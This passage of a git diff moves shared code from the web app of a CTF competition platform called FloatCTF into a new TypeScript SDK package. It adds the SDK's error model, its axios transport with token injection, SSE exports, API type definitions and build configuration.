a/apps/web/src/entity/weapons.ts b/packages/sdk/src/entity/weapons.ts similarity index 100% rename from apps/web/src/entity/weapons.ts rename to packages/sdk/src/entity/weapons.ts diff --git a/packages/sdk/src/errors.ts b/packages/sdk/src/errors.ts new file mode 100644 index 00000000..5cc7f549 --- /dev/null +++ b/packages/sdk/src/errors.ts @@ -0,0 +1,156 @@ +/** + * FloatCTF 错误模型。 + * + * 目标(docs/frontend/ARCHITECTURE.md §错误契约): + * - 每个前端作者**不必重复解析 Axios 错误**就能拿到:HTTP 状态、平台业务码、 + * 平台文案、原始 cause。 + * - 同时**保持与既有 UI 完全一致的读取方式**(`error.response?.data?.message` / + * `error.message`):迁移期间不要求任何页面改写错误处理,UI 行为零变化。 + * + * 因此 `FloatCTFError` 既提供类型化字段(`httpStatus` / `code` / `platformMessage` / + * `original`),也保留 axios 兼容的 `response` 形态。 + */ + +import { isAxiosError } from "axios"; +import { UNI_SUCCESS_CODE } from "./protocol.js"; + +export type FloatCTFErrorKind = + /** 服务端返回了 HTTP 响应,但状态码非 2xx。 */ + | "http" + /** 平台返回了非成功业务码(HTTP 200 但 `code !== 0`)。 */ + | "platform" + /** 请求未拿到响应:超时 / 连接被拒 / DNS 失败 / 被取消。 */ + | "network" + /** 无法归类的异常。 */ + | "unknown"; + +/** 与 axios `response` 兼容的最小形态(既有 UI 读取 `response.data.message`)。 */ +export interface FloatCTFErrorResponse { + status?: number; + statusText?: string; + data?: unknown; + headers?: unknown; +} + +export class FloatCTFError extends Error { + override readonly name = "FloatCTFError"; + readonly kind: FloatCTFErrorKind; + /** HTTP 状态码(无响应时为 undefined)。 */ + readonly httpStatus?: number; + /** 平台业务码(若响应体是 `UniResponse`)。 */ + readonly code?: number; + /** 平台文案(`UniResponse.message`)。 */ + readonly platformMessage?: string; + /** 原始错误(通常是 axios 错误),用于深度诊断。 */ + readonly original?: unknown; + /** 是否因认证失败(401)触发;前端据此决定是否跳登录。 */ + readonly unauthorized: boolean; + /** 兼容既有 UI 的 axios 形态读取。 */ + readonly response?: FloatCTFErrorResponse; + + constructor(init: { + message: string; + kind: FloatCTFErrorKind; + httpStatus?: number; + code?: number; + platformMessage?: string; + original?: unknown; + unauthorized?: boolean; + response?: FloatCTFErrorResponse; + }) { + super(init.message); + this.kind = init.kind; + this.httpStatus = init.httpStatus; + this.code = init.code; + this.platformMessage = init.platformMessage; + this.original = init.original; + this.unauthorized = init.unauthorized ?? init.httpStatus === 401; + this.response = init.response; + } + + /** 最适合展示给用户的文案:平台文案优先,其次 Error.message。 */ + get displayMessage(): string { + return this.platformMessage?.trim() || this.message; + } + + toJSON(): Record { + return { + name: this.name, + kind: this.kind, + httpStatus: this.httpStatus, + code: this.code, + platformMessage: this.platformMessage, + message: this.message, + unauthorized: this.unauthorized, + }; + } +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +/** + * 把任意异常归类为 {@link FloatCTFError}。 + * + * 已归一化的错误原样返回(幂等),避免拦截器叠加多层包装。 + */ +export function toFloatCTFError(error: unknown): FloatCTFError { + if (error instanceof FloatCTFError) return error; + + if (isAxiosError(error)) { + const status = error.response?.status; + const data = error.response?.data; + const platformMessage = + isRecord(data) && typeof data.message === "string" ? data.message : undefined; + const code = + isRecord(data) && typeof data.code === "number" ? data.code : undefined; + const kind: FloatCTFErrorKind = status === undefined ? "network" : "http"; + return new FloatCTFError({ + message: error.message, + kind, + ...(status !== undefined ? { httpStatus: status } : {}), + ...(code !== undefined ? { code } : {}), + ...(platformMessage !== undefined ? { platformMessage } : {}), + original: error, + unauthorized: status === 401, + ...(error.response + ? { + response: { + status: error.response.status, + statusText: error.response.statusText, + data: error.response.data, + headers: error.response.headers, + }, + } + : {}), + }); + } + + if (error instanceof Error) { + return new FloatCTFError({ + message: error.message, + kind: "unknown", + original: error, + }); + } + + return new FloatCTFError({ message: String(error), kind: "unknown", original: error }); +} + +/** + * 把非 2xx 之外的"平台业务失败"(HTTP 2xx 但 `code !== 0`)归一化为错误。 + * 返回 `null` 表示这是一个成功的 envelope。 + */ +export function floatCTFErrorFromEnvelope(envelope: unknown): FloatCTFError | null { + if (!isRecord(envelope)) return null; + const code = envelope.code; + if (typeof code !== "number" || code === UNI_SUCCESS_CODE) return null; + const message = typeof envelope.message === "string" ? envelope.message : "platform error"; + return new FloatCTFError({ + message, + kind: "platform", + code, + platformMessage: message, + }); +} diff --git a/packages/sdk/src/index.ts b/packages/sdk/src/index.ts new file mode 100644 index 00000000..c1705881 --- /dev/null +++ b/packages/sdk/src/index.ts @@ -0,0 +1,87 @@ +/** + * `@floatctf/sdk` —— FloatCTF 平台客户端 SDK(**框架无关**)。 + * + * 依赖方向(唯一允许的方向): + * + * ``` + * FloatCTF Backend ── REST / SSE / Bearer ──▶ @floatctf/sdk ──▶ @floatctf/react ──▶ Frontend + * ``` + * + * 本包**绝不**依赖:React、路由、Zustand、Primer、Tailwind、任何应用页面。 + * 认证 token 的来源与 401 之后的 UI 反应**全部由调用方注入** + * (见 `createFloatCTFClient`)。 + * + * ## 实例隔离 + * + * SDK 里**没有**"当前客户端"这类模块级状态。`createFloatCTFClient()` 返回的对象 + * 自带传输与领域门面,可同时存在多个、互不影响: + * + * ```ts + * import { createFloatCTFClient } from "@floatctf/sdk"; + * + * const client = createFloatCTFClient({ + * baseUrl: "/api", + * getUserToken: () => token, + * }); + * await client.service.events.fetch(); + * await client.admin.settings.fetch(); + * client.sse.connect({ url: `/events/${id}/awd/stream`, ... }); + * ``` + * + * 领域模块以**工厂**形式导出(`createEventServiceApi(http)` 等)供高级用法组合; + * 常规用法请直接使用 `client.service.*` / `client.admin.*` / `client.awd.*` / + * `client.awdp.*`。 + * + * 生成的数据库实体是独立入口:`@floatctf/sdk/entity`(不要把 DB 列类型混进 API 面)。 + */ + +// ── 协议与错误 ────────────────────────────────────────────────────────────── +export { UNI_SUCCESS_CODE, type QueryParams, type UniResponse } from "./protocol.js"; +export { + FloatCTFError, + floatCTFErrorFromEnvelope, + toFloatCTFError, + type FloatCTFErrorKind, + type FloatCTFErrorResponse, +} from "./errors.js"; + +// ── 传输 ──────────────────────────────────────────────────────────────────── +export { + DEFAULT_API_BASE_URL, + createFloatCTFTransport, + normalizeBaseUrl, + resolveBaseUrls, + type FloatCTFAuthScope, + type FloatCTFClientOptions, + type FloatCTFHttpClient, + type FloatCTFRequestConfig, + type FloatCTFTransport, + type UnauthorizedContext, +} from "./transport.js"; + +// ── 客户端工厂 ────────────────────────────────────────────────────────────── +export { + createFloatCTFClient, + resolveSseUrl, + type FloatCTFClient, + type FloatCTFSseOptions, +} from "./client.js"; + +// ── 视图无关 DTO 类型 ─────────────────────────────────────────────────────── +export * from "./types/index.js"; + +// ── SSE(独立底层工具;领域 hook 见 @floatctf/react)───────────────────────── +export { + connectSse, + type ConnectSseOptions, + type SseConnection, + type SseConnectionState, + type SseConnectionStatus, +} from "./sse/connectSse.js"; +export { createSseParser, type SseEvent, type SseParser } from "./sse/parser.js"; + +// ── 领域 API:门面工厂 + 各模块工厂 + 类型 ────────────────────────────────── +export * from "./api/index.js"; +export * from "./api/awd.js"; +export * from "./api/awdp.js"; +export * from "./api/awdpRuns.js"; diff --git a/packages/sdk/src/protocol.ts b/packages/sdk/src/protocol.ts new file mode 100644 index 00000000..65a31133 --- /dev/null +++ b/packages/sdk/src/protocol.ts @@ -0,0 +1,32 @@ +/** + * FloatCTF 平台响应封装(`UniResponse`)——**以后端真实行为为准**。 + * + * 后端所有 handler 都返回 `UniResponse`(Rust `UniResult`), + * 序列化为 `{ code, message, data, meta }`: + * - `code`:平台业务码(0 = 成功;错误响应用 `AppError` 映射) + * - `message`:平台文案(可直接展示,也可能是英文技术文案) + * - `data`:业务数据;无数据时为 `null` 或缺失 + * - `meta`:列表接口的分页元信息 + * + * 这里**不做包装/解包转换**:SDK 原样透传后端 envelope,避免发明第二套协议。 + */ + +/** 列表/分页查询参数。 */ +export type QueryParams = { + offset?: number; + limit?: number; + page?: number; + total?: number; + filter?: string; +}; + +/** 平台统一响应封装。 */ +export type UniResponse = { + code: number; + message: string; + data?: T; + meta?: QueryParams; +}; + +/** 平台成功业务码。 */ +export const UNI_SUCCESS_CODE = 0; diff --git a/apps/web/src/lib/sse/__tests__/connectSse.test.ts b/packages/sdk/src/sse/__tests__/connectSse.test.ts similarity index 100% rename from apps/web/src/lib/sse/__tests__/connectSse.test.ts rename to packages/sdk/src/sse/__tests__/connectSse.test.ts diff --git a/apps/web/src/lib/sse/__tests__/parser.test.ts b/packages/sdk/src/sse/__tests__/parser.test.ts similarity index 100% rename from apps/web/src/lib/sse/__tests__/parser.test.ts rename to packages/sdk/src/sse/__tests__/parser.test.ts diff --git a/apps/web/src/lib/sse/connectSse.ts b/packages/sdk/src/sse/connectSse.ts similarity index 99% rename from apps/web/src/lib/sse/connectSse.ts rename to packages/sdk/src/sse/connectSse.ts index d64765ec..1d423146 100644 --- a/apps/web/src/lib/sse/connectSse.ts +++ b/packages/sdk/src/sse/connectSse.ts @@ -13,7 +13,7 @@ * - Last-Event-ID 支持(若后端提供) */ -import { type SseEvent, type SseParser, createSseParser } from "./parser"; +import { type SseEvent, type SseParser, createSseParser } from "./parser.js"; // ── 类型 ──────────────────────────────────────────────────────────────────── diff --git a/packages/sdk/src/sse/index.ts b/packages/sdk/src/sse/index.ts new file mode 100644 index 00000000..e683c056 --- /dev/null +++ b/packages/sdk/src/sse/index.ts @@ -0,0 +1,9 @@ +export { createSseParser } from "./parser.js"; +export type { SseEvent, SseParser } from "./parser.js"; +export { connectSse } from "./connectSse.js"; +export type { + ConnectSseOptions, + SseConnection, + SseConnectionState, + SseConnectionStatus, +} from "./connectSse.js"; diff --git a/apps/web/src/lib/sse/parser.ts b/packages/sdk/src/sse/parser.ts similarity index 100% rename from apps/web/src/lib/sse/parser.ts rename to packages/sdk/src/sse/parser.ts diff --git a/packages/sdk/src/transport.ts b/packages/sdk/src/transport.ts new file mode 100644 index 00000000..700237a9 --- /dev/null +++ b/packages/sdk/src/transport.ts @@ -0,0 +1,224 @@ +/** + * HTTP 传输层:**每个客户端实例各自拥有**的 Axios 实例 + Bearer 认证注入 + + * 错误归一化 + 401 回调。 + * + * **这个模块是 SDK 与 UI 的分界线**(替换旧的 `apps/web/src/api/axios.ts`): + * + * | 机制 | 归属 | + * |------|------| + * | baseURL、Authorization 头注入、错误解析、401 判定 | SDK(本模块) | + * | token 从哪来(Zustand / localStorage / 内存) | 前端(`getUserToken` / `getAdminToken` 回调) | + * | 401 之后做什么(跳哪个路由 / 清哪个 store / 弹什么提示) | 前端(`onUnauthorized` 回调) | + * + * SDK **绝不** import router / Zustand / localStorage / 任何登录页 URL。 + * + * ## 实例隔离(重要) + * + * 本模块**没有**任何模块级可变状态:不存在"当前绑定的 transport"。 + * `createFloatCTFTransport()` 每次调用都返回**独立**的 axios 实例与 handle, + * 因此: + * + * ```ts + * const a = createFloatCTFClient({ baseUrl: "https://a.example/api", getUserToken: () => "A" }); + * const b = createFloatCTFClient({ baseUrl: "https://b.example/api", getUserToken: () => "B" }); + * await b.service.events.fetch(); // 用的是 b 的 baseUrl + B + * await a.service.events.fetch(); // 仍然是 a 的 baseUrl + A,创建顺序无关 + * ``` + */ + +import axios, { + type AxiosInstance, + type AxiosRequestConfig, + type AxiosResponse, +} from "axios"; + +import type { FloatCTFError } from "./errors.js"; +import { toFloatCTFError } from "./errors.js"; + +export type { QueryParams, UniResponse } from "./protocol.js"; + +/** 认证作用域:选手端 / 管理端各自独立携带 token(互不影响)。 */ +export type FloatCTFAuthScope = "user" | "admin"; + +/** 默认选手端 base URL。 */ +export const DEFAULT_API_BASE_URL = "/api"; + +export interface UnauthorizedContext { + scope: FloatCTFAuthScope; + status: number; + error: FloatCTFError; +} + +/** + * 两个 axios 实例共用的默认配置。 + * + * 刻意**不允许** `baseURL`:客户端自己的 `baseUrl` / `adminBaseUrl` 是唯一权威来源, + * 否则 `client.baseUrl` 报告一个地址、请求实际发到另一个地址(静默串号)。 + */ +export type FloatCTFRequestConfig = Omit; + +export interface FloatCTFClientOptions { + /** 选手端 API base URL,默认 `/api`。 */ + baseUrl?: string; + /** 管理端 API base URL,默认 `${baseUrl}/admin`。 */ + adminBaseUrl?: string; + /** 取当前选手 token(同步、纯读)。默认恒为 `null`。 */ + getUserToken?: () => string | null | undefined; + /** 取当前管理员 token(同步、纯读)。默认恒为 `null`。 */ + getAdminToken?: () => string | null | undefined; + /** + * 收到 401 时调用。前端在此决定清理 token / 跳转登录页 / 提示用户。 + * SDK 自身不跳转、不写 localStorage。 + */ + onUnauthorized?: (context: UnauthorizedContext) => void; + /** 每次请求失败时调用(已归一化的错误)。 */ + onError?: (error: FloatCTFError, scope: FloatCTFAuthScope) => void; + /** 附加到两个 axios 实例的默认配置(如 `withCredentials`、`timeout`)。 */ + requestConfig?: FloatCTFRequestConfig; +} + +/** + * 暴露给领域 API 模块的 HTTP handle。 + * + * 泛型签名**逐字对齐 axios**(含 `R = AxiosResponse`):这样 `return http.get(...)` + * 这类写法能继续按上下文返回类型推断 `R`,迁移前后的类型行为完全一致。 + */ +export interface FloatCTFHttpClient { + // biome-ignore lint/suspicious/noExplicitAny: 与 axios 的签名逐字对齐(含 D = any) + get, D = any>( + url: string, + config?: AxiosRequestConfig, + ): Promise; + // biome-ignore lint/suspicious/noExplicitAny: 同上 + delete, D = any>( + url: string, + config?: AxiosRequestConfig, + ): Promise; + // biome-ignore lint/suspicious/noExplicitAny: 同上 + post, D = any>( + url: string, + data?: D, + config?: AxiosRequestConfig, + ): Promise; + // biome-ignore lint/suspicious/noExplicitAny: 同上 + put, D = any>( + url: string, + data?: D, + config?: AxiosRequestConfig, + ): Promise; + // biome-ignore lint/suspicious/noExplicitAny: 同上 + patch, D = any>( + url: string, + data?: D, + config?: AxiosRequestConfig, + ): Promise; + /** 底层 axios 实例(需要拦截器/流式响应时的逃生舱)。 */ + readonly instance: AxiosInstance; +} + +/** 一个作用域的完整传输:权威 base URL + axios 实例 + handle。 */ +export interface FloatCTFTransport { + readonly scope: FloatCTFAuthScope; + /** 权威 base URL(已去掉尾部斜杠)。 */ + readonly baseUrl: string; + /** 底层 axios 实例。 */ + readonly instance: AxiosInstance; + /** 领域模块使用的 handle(与本 transport 一一对应)。 */ + readonly http: FloatCTFHttpClient; +} + +/** 去掉尾部斜杠,避免拼出 `//events` 这类路径。 */ +export function normalizeBaseUrl(url: string): string { + return url.replace(/\/+$/, ""); +} + +function attachInterceptors( + instance: AxiosInstance, + scope: FloatCTFAuthScope, + options: FloatCTFClientOptions, +): void { + const tokenGetter = + scope === "user" ? options.getUserToken : options.getAdminToken; + + instance.interceptors.request.use((config) => { + const token = tokenGetter?.(); + if (token) { + config.headers.Authorization = `Bearer ${token}`; + } + return config; + }); + + instance.interceptors.response.use( + (response) => response, + (error: unknown) => { + // 网络层失败(超时 / 连接中断)没有 response:归一化必须容错, + // 否则真正的错误会被 TypeError 覆盖成 "reading 'status'"。 + const normalized = toFloatCTFError(error); + if (normalized.httpStatus === 401) { + options.onUnauthorized?.({ + scope, + status: 401, + error: normalized, + }); + } + options.onError?.(normalized, scope); + return Promise.reject(normalized); + }, + ); +} + +function makeHandle(instance: AxiosInstance): FloatCTFHttpClient { + return { + get: (url, config) => instance.get(url, config), + delete: (url, config) => instance.delete(url, config), + post: (url, data, config) => instance.post(url, data, config), + put: (url, data, config) => instance.put(url, data, config), + patch: (url, data, config) => instance.patch(url, data, config), + get instance() { + return instance; + }, + }; +} + +/** + * 创建一个作用域的传输(选手端或管理端)。 + * + * 返回的对象完全独立:不写入任何模块级状态,因此可以同时存在任意多个客户端。 + */ +export function createFloatCTFTransport( + scope: FloatCTFAuthScope, + options: FloatCTFClientOptions, + baseUrl: string, +): FloatCTFTransport { + const normalized = normalizeBaseUrl(baseUrl); + // `baseURL` 放在 requestConfig **之后**:客户端配置是唯一权威, + // 即使调用方通过 `as any` 之类的途径塞了 baseURL 也会被覆盖。 + const instance = axios.create({ + ...options.requestConfig, + baseURL: normalized, + }); + attachInterceptors(instance, scope, options); + return { + scope, + baseUrl: normalized, + instance, + http: makeHandle(instance), + }; +} + +/** + * 解析客户端选项里的两个 base URL。 + * + * 单独导出:`createFloatCTFClient()` 与实际建连都要用同一套规则, + * 避免 "client.baseUrl 报告的值" 与 "请求真正发往的地址" 不一致。 + */ +export function resolveBaseUrls(options: FloatCTFClientOptions): { + baseUrl: string; + adminBaseUrl: string; +} { + const baseUrl = normalizeBaseUrl(options.baseUrl ?? DEFAULT_API_BASE_URL); + const adminBaseUrl = normalizeBaseUrl( + options.adminBaseUrl ?? `${baseUrl}/admin`, + ); + return { baseUrl, adminBaseUrl }; +} diff --git a/packages/sdk/src/types/adminChallenge.ts b/packages/sdk/src/types/adminChallenge.ts new file mode 100644 index 00000000..6d22bc39 --- /dev/null +++ b/packages/sdk/src/types/adminChallenge.ts @@ -0,0 +1,33 @@ +import type { ChallengesListItem } from "./challengeDto.js"; + +/** 题目完整性检查结果。 */ +export type ChallengeCheckResult = { + id: string; + challenge_name: string; + is_ok: boolean; + docker_image: boolean; + attachment: boolean; + /** static / attachment-only 题目(无 src/Dockerfile):没有镜像,无需 Build。 */ + static_content: boolean; +}; + +/** 题目构建结果。 */ +export type BuildChallengeResult = { + challenge_name: string; + is_ok: boolean; + message: string; +}; + +/** 题目目录扫描结果条目。 */ +export type ChallengeScanItem = { + safe_name: string; + name: string | null; + version: string | null; + status: "added" | "skipped" | "error"; + message: string; +}; + +/** 题目导入响应。 */ +export type ImportChallengeResponse = { + challenge: ChallengesListItem; +}; diff --git a/packages/sdk/src/types/adminEventChallenge.ts b/packages/sdk/src/types/adminEventChallenge.ts new file mode 100644 index 00000000..899c63bf --- /dev/null +++ b/packages/sdk/src/types/adminEventChallenge.ts @@ -0,0 +1,15 @@ +import type { Challenges } from "../entity/index.js"; + +/** 管理端赛事挂题行(jeopardy_event_challenges)。 */ +export type EventChallenge = { + event_id: string; + challenge_id: string; + hidden: boolean; + points: number; +}; + +/** 管理端赛事题目列表条目(挂题行 + 题目实体)。 */ +export type EventChallengeResult = { + event_challenge: EventChallenge; + challenge: Challenges; +}; diff --git a/packages/sdk/src/types/adminEventTeam.ts b/packages/sdk/src/types/adminEventTeam.ts new file mode 100644 index 00000000..1db2b9a4 --- /dev/null +++ b/packages/sdk/src/types/adminEventTeam.ts @@ -0,0 +1,17 @@ +import type { EventTeamMemberRole, EventTeams } from "../entity/index.js"; + +/** 管理端战队成员条目。 */ +export type TeamMemberResult = { + username: string; + nickname: string; + role: EventTeamMemberRole; + points: number; +}; + +/** 管理端战队列表条目。 */ +export type TeamResult = { + id: string; + team: EventTeams; + captain: string; + members: TeamMemberResult[]; +}; diff --git a/packages/sdk/src/types/adminEventUser.ts b/packages/sdk/src/types/adminEventUser.ts new file mode 100644 index 00000000..b441e930 --- /dev/null +++ b/packages/sdk/src/types/adminEventUser.ts @@ -0,0 +1,8 @@ +import type { EventUsers, Users } from "../entity/index.js"; + +/** 管理端赛事用户列表条目。 */ +export type EventUserResult = { + id: string; + user: Users; + event_user: EventUsers; +}; diff --git a/apps/web/src/types/challengeDto.ts b/packages/sdk/src/types/challengeDto.ts similarity index 95% rename from apps/web/src/types/challengeDto.ts rename to packages/sdk/src/types/challengeDto.ts index ecc41050..e5eee6bd 100644 --- a/apps/web/src/types/challengeDto.ts +++ b/packages/sdk/src/types/challengeDto.ts @@ -1,4 +1,4 @@ -import type { Challenges } from "@/entity"; +import type { Challenges } from "../entity/index.js"; /** API 返回的附件元数据(不包含任何 flag 明文)。 */ export type ChallengeAttachmentDto = { diff --git a/packages/sdk/src/types/challengeWriteup.ts b/packages/sdk/src/types/challengeWriteup.ts new file mode 100644 index 00000000..bf6905ee --- /dev/null +++ b/packages/sdk/src/types/challengeWriteup.ts @@ -0,0 +1,11 @@ +import type { ChallengeWriteup, Challenges } from "../entity/index.js"; + +/** 题目 Writeup 详情(含作者与所属题目)。 */ +export type ChallengeWriteupResult = { + id: string; + nickname: string; + avatar?: string; + email: string; + challenge: Challenges; + writeup: ChallengeWriteup; +}; diff --git a/packages/sdk/src/types/dataPresent.ts b/packages/sdk/src/types/dataPresent.ts new file mode 100644 index 00000000..a895c87e --- /dev/null +++ b/packages/sdk/src/types/dataPresent.ts @@ -0,0 +1,32 @@ +import type { Events } from "../entity/index.js"; +import type { ScoreboardItem } from "./scoreboard.js"; +import type { TrendItem } from "./trend.js"; + +/** 数据大屏:单题聚合。 */ +export type DataEventChallenge = { + name: string; + category: string; + points: number; + solved_count: number; + solved_percent: number; +}; + +/** 数据大屏:最近解出流水。 */ +export type DataEventChallengeSolve = { + user_nickname: string; + challenge_name: string; + challenge_category: string; + created_at: string; // NaiveDateTime → string + bonus_points: number; +}; + +/** 数据大屏聚合响应。 */ +export type DataPresent = { + event: Events; // 对应 events::Model + user_count: number; + team_count: number; + solved_recent_15: DataEventChallengeSolve[]; + event_challenges: DataEventChallenge[]; + scoreboard_top10: ScoreboardItem[]; + trend: TrendItem[]; +}; diff --git a/packages/sdk/src/types/database.ts b/packages/sdk/src/types/database.ts new file mode 100644 index 00000000..7306e78e --- /dev/null +++ b/packages/sdk/src/types/database.ts @@ -0,0 +1,14 @@ +/** 管理端 SQL 控制台:单条语句请求。 */ +export type SqlStatement = { + sql: string; +}; + +/** 管理端 SQL 控制台:执行结果。 */ +export type SqlResult = { + sql_type: string; + // biome-ignore lint/suspicious/noExplicitAny: 任意列的查询结果 + rows: Record[]; + count: number; + rows_affected: number; + elapsed_ms: number; +}; diff --git a/packages/sdk/src/types/eventChallenge.ts b/packages/sdk/src/types/eventChallenge.ts new file mode 100644 index 00000000..ec4d298f --- /dev/null +++ b/packages/sdk/src/types/eventChallenge.ts @@ -0,0 +1,12 @@ +import type { ChallengesListItem } from "./challengeDto.js"; + +/** 选手端赛事题目列表条目。 */ +export type EventChallengeResult = { + /** 行唯一标识(后端不返回,前端由 challenge.id 合成,供 DataTable 行 key)。 */ + id: string; + challenge: ChallengesListItem; + current_points: number; + solved_count: number; + solved: boolean; + solved_no: number; +}; diff --git a/packages/sdk/src/types/eventInfo.ts b/packages/sdk/src/types/eventInfo.ts new file mode 100644 index 00000000..b3f50732 --- /dev/null +++ b/packages/sdk/src/types/eventInfo.ts @@ -0,0 +1,21 @@ +import type { EventTeamMembers, EventTeams, Events } from "../entity/index.js"; + +/** 赛事详情接口返回的成员条目。 */ +export type EventTeamMemberResult = { + member_name: string; + member: EventTeamMembers; +}; + +/** 赛事详情接口返回的战队(含成员)。 */ +export type EventTeamResult = { + team: EventTeams; + members: EventTeamMemberResult[]; +}; + +/** 选手端赛事列表/详情条目。 */ +export type EventInfo = { + id: string; + event: Events; + team_result?: EventTeamResult; + joined: boolean; +}; diff --git a/packages/sdk/src/types/eventInstance.ts b/packages/sdk/src/types/eventInstance.ts new file mode 100644 index 00000000..f346f935 --- /dev/null +++ b/packages/sdk/src/types/eventInstance.ts @@ -0,0 +1,9 @@ +import type { Instances } from "./instanceDto.js"; + +/** 赛事实例列表条目(含归属信息)。 */ +export type EventInstanceResult = { + id: string; + instance: Instances; + challenge_name: string; + user_nickname: string; +}; diff --git a/packages/sdk/src/types/index.ts b/packages/sdk/src/types/index.ts new file mode 100644 index 00000000..77372c6c --- /dev/null +++ b/packages/sdk/src/types/index.ts @@ -0,0 +1,42 @@ +/** + * 前端可见的 API DTO / 视图无关类型。 + * + * 这些类型**曾经散落在路由页面文件里**,被 `api/*` 反向 import(架构倒挂)。 + * 现在集中在这里:页面 → sdk 是唯一允许的方向。 + */ + +export type { ChallengeAttachmentDto, ChallengesListItem } from "./challengeDto.js"; +export type { TopUser } from "./top.js"; +export type { TrendItem, TrendPoint } from "./trend.js"; +export type { ChallengeScoreboard, ScoreboardItem } from "./scoreboard.js"; +export type { EventInstanceResult } from "./eventInstance.js"; +export type { EventChallengeResult } from "./eventChallenge.js"; +export type { Instances, InstancesDto } from "./instanceDto.js"; +export type { ChallengeWriteupResult } from "./challengeWriteup.js"; +export type { + EventInfo, + EventTeamMemberResult, + EventTeamResult, +} from "./eventInfo.js"; +export type { EventUserResult } from "./adminEventUser.js"; +export type { TeamMemberResult, TeamResult } from "./adminEventTeam.js"; +export type { + DataEventChallenge, + DataEventChallengeSolve, + DataPresent, +} from "./dataPresent.js"; +export type { EventChallenge, EventChallengeResult as AdminEventChallengeResult } from "./adminEventChallenge.js"; +export type { SqlResult, SqlStatement } from "./database.js"; +export type { + DiskInformation, + DockerImageInfo, + DockerInformation, + NetworkInterfaceInfo, + SystemInformation, +} from "./systemInformation.js"; +export type { + BuildChallengeResult, + ChallengeCheckResult, + ChallengeScanItem, + ImportChallengeResponse, +} from "./adminChallenge.js"; diff --git a/packages/sdk/src/types/instanceDto.ts b/packages/sdk/src/types/instanceDto.ts new file mode 100644 index 00000000..c72f78a9 --- /dev/null +++ b/packages/sdk/src/types/instanceDto.ts @@ -0,0 +1,30 @@ +/** + * 选手侧挑战/靶机实例 DTO(`GET /api/instances`,与后端 `InstancesDto` 对齐)。 + * + * 归一化后为合并列表:challenge(挑战练习)与 gamebox(AWDP 练习)两类。 + * **注意**:这不是生成的实体 `entity/event_challenge_instance`,字段以接口返回为准。 + */ +export type InstancesDto = { + id: string; + status: string; + flag: string; + content: string | null; + /** 关联挑战;AWDP 练习实例为 null(用 run_id/gamebox_id 标识)。 */ + challenge_id: string | null; + event_id: string; + team_id?: string | null; + user_id: string; + identifier: string; + created_at: string; + updated_at: string; + destroy_at: string | null; + challenge_title?: string | null; + event_title?: string | null; + user_name?: string | null; + run_id?: string | null; + gamebox_id?: string | null; + gamebox_title?: string | null; +}; + +/** 兼容旧引用(实体型已拆分为 entity/event_challenge_instance,DTO 字段才是接口返回)。 */ +export type Instances = InstancesDto; diff --git a/packages/sdk/src/types/scoreboard.ts b/packages/sdk/src/types/scoreboard.ts new file mode 100644 index 00000000..c1dba706 --- /dev/null +++ b/packages/sdk/src/types/scoreboard.ts @@ -0,0 +1,17 @@ +/** 计分榜格子:某主体在某题上的解出状态(后端 `jeopardy::domain::scoreboard::ChallengeScoreboard`)。 */ +export type ChallengeScoreboard = { + name: string; + solved: boolean; + solved_no: number; +}; + +/** 计分榜一行(个人或战队)。 */ +export type ScoreboardItem = { + id: string; + no: number; + name: string; + avatar?: string; + score: number; + solved_count: number; + challenges: ChallengeScoreboard[]; +}; diff --git a/packages/sdk/src/types/systemInformation.ts b/packages/sdk/src/types/systemInformation.ts new file mode 100644 index 00000000..2ceef0c9 --- /dev/null +++ b/packages/sdk/src/types/systemInformation.ts @@ -0,0 +1,54 @@ +/** 磁盘信息。 */ +export type DiskInformation = { + name: string; + mount_point: string; + file_system: string; + total_space: number; + available_space: number; + used_space: number; + usage_percent: number; +}; + +/** 网卡信息。 */ +export type NetworkInterfaceInfo = { + name: string; + ip_addresses: string[]; + received: number; + transmitted: number; + recv_rate: number; + transmit_rate: number; +}; + +/** Docker 镜像摘要。 */ +export type DockerImageInfo = { + id: string; + repo_tags: string[]; + size: number; +}; + +/** Docker 概况。 */ +export type DockerInformation = { + image_count: number; + images: DockerImageInfo[]; + running_container_count: number; + total_disk: number; +}; + +/** 管理端仪表盘系统信息。 */ +export type SystemInformation = { + name?: string; + kernel_version?: string; + os_version?: string; + host_name?: string; + uptime: number; + total_memory: number; + used_memory: number; + total_swap: number; + used_swap: number; + avg_temp: number; + max_temp: number; + nb_cpu: number; + disks_info: DiskInformation[]; + network_interfaces: NetworkInterfaceInfo[]; + docker_info: DockerInformation; +}; diff --git a/packages/sdk/src/types/top.ts b/packages/sdk/src/types/top.ts new file mode 100644 index 00000000..c2ba3ad8 --- /dev/null +++ b/packages/sdk/src/types/top.ts @@ -0,0 +1,8 @@ +/** `GET /api/solves/top` 排行榜条目(选手端 Top 15)。 */ +export type TopUser = { + no: number; + nickname: string; + avatar?: string; + solved_count: number; + solved_last_at: string; +}; diff --git a/packages/sdk/src/types/trend.ts b/packages/sdk/src/types/trend.ts new file mode 100644 index 00000000..ffce555f --- /dev/null +++ b/packages/sdk/src/types/trend.ts @@ -0,0 +1,12 @@ +/** 赛事走势图数据点(时间 + 当时总分)。 */ +export type TrendPoint = { + name: string; + score: number; // total score + time: string; // NaiveDateTime → ISO 字符串 +}; + +/** 走势图单个主体(个人或战队)的折线。 */ +export type TrendItem = { + name: string; + points: TrendPoint[]; +}; diff --git a/packages/sdk/tsconfig.build.json b/packages/sdk/tsconfig.build.json new file mode 100644 index 00000000..990a0848 --- /dev/null +++ b/packages/sdk/tsconfig.build.json @@ -0,0 +1,9 @@ +{ + "extends": "./tsconfig.json", + "compilerOptions": { + "noEmit": false, + "outDir": "./dist", + "rootDir": "./src" + }, + "exclude": ["src/**/__tests__/**", "src/**/*.test.ts"] +} diff --git a/packages/sdk/tsconfig.json b/packages/sdk/tsconfig.json new file mode 100644 index 00000000..b347dd51 --- /dev/null +++ b/packages/sdk/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "bundler", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "types": [], + "strict": true, + "skipLibCheck": true, + "noUnusedLocals": false, + "noUnusedParameters": false, + "noFallthroughCasesInSwitch": true, + "verbatimModuleSyntax": true, + "isolatedModules": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "noEmit": true + }, + "include": ["src/**/*.ts"] +} diff --git a/packages/sdk/vitest.config.ts b/packages/sdk/vitest.config.ts new file mode 100644 index 00000000..9e12c292 --- /dev/null +++ b/packages/sdk/vitest.config.ts @@ -0,0 +1,11 @@ +import { defineConfig } from 